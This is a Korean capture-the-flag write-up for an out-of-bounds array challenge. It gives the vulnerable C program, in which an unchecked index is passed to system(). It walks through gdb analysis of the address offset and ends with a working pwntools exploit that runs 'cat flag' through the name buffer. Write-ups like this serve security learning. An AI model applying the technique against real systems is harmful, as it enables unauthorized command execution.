Index

문제
보호기법 확인

NX와 Canary가 걸려있고, 32비트 바이너리이다.
out_of_bound.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
문제 풀이
command 배열에 시스템 명령어를 저장한다. 이 배열을 idx 변수를 이용해서 접근하는데, idx 변수의 범위체크를 하지 않는다. idx는 int 자료형이기 때문에 4바이트 단위로 임의의 주소값에 접근할 수 있다.
전역 변수로 선언된 command와 name의 거리만큼 이 idx 변수 값으로 조정해서 name 변수를 참조할 수 있다.
gdb로 분석해보자

위 부분은 코드에서 두번째 scanf가 끝나고 system(command[idx]);
를 수행하는 어셈블리 코드이다. 이때 command[idx]
주소를 구하는 부분이 main+108 이다.
이때 eax는 idx의 변수 값이고, int 자료형이기 때문에 4를 곱한다. 그렇다면 0x804a060은 command 배열의 시작 주소일 것이다.
확인해보면, command 배열의 시작 주소임을 확인할 수 있다.

같은 전역 변수인 name 변수의 주소도 확인해보면, 0x804a0ac인 것을 알 수 있다.

두 변수의 주소 거리는 다음과 같이 76byte만큼 차이가 난다.

아까 어셈블리어를 대입해보면 eax * 4 = 76
이므로, idx = eax = 19
이다.
그러면 처음 name 변수에 문자열을 입력받고, 두번째 idx에서 command 배열 범위를 초과하는 값인 19를 입력하게 되면, name 변수를 참조해서 name 변수의 문자열이 실행될 것이라고 예상할 수 있다.

system 함수 실행 전 브레이크포인트를 걸고 name은 cat flag
, idx는 19
를 입력하고 레지스터 값을 확인해보면 eax 레지스터에 cat
뒤로는 짤려있는 것을 확인할 수 있다.

프로그램의 정상 흐름으로 실행해본 결과, system 함수에서 eax는 실행 할 문자열의 주소값이 들어간다. 이 전 경우에서는 eax에 문자열이 바로 들어갔기 때문에 명령어가 실행되지 않은 것이다.
다음은 system 함수의 원형이다.
int system(const char *command);
command가 있는 주소를 인자로 받기 때문에, 위에서 eax에 문자열이 있는 주소값을 넣어야 하는 것이다.
name 시작 주소에 name+4
주소를 넣고 그 뒤에 실행할 문자열을 넣으면 된다.

익스플로잇
from pwn import *
context.log_level='debug'
p = process('./out_of_bound')
#p = remote('host3.dreamhack.games', 9476)
name_addr = 0x0804a0ac
payload = p32(name_addr+4)
payload += b'cat flag'
p.sendlineafter(b'Admin name: ', payload)
p.sendlineafter(b'What do you want?:', b'19')
p.interactive()
Uploaded by N2T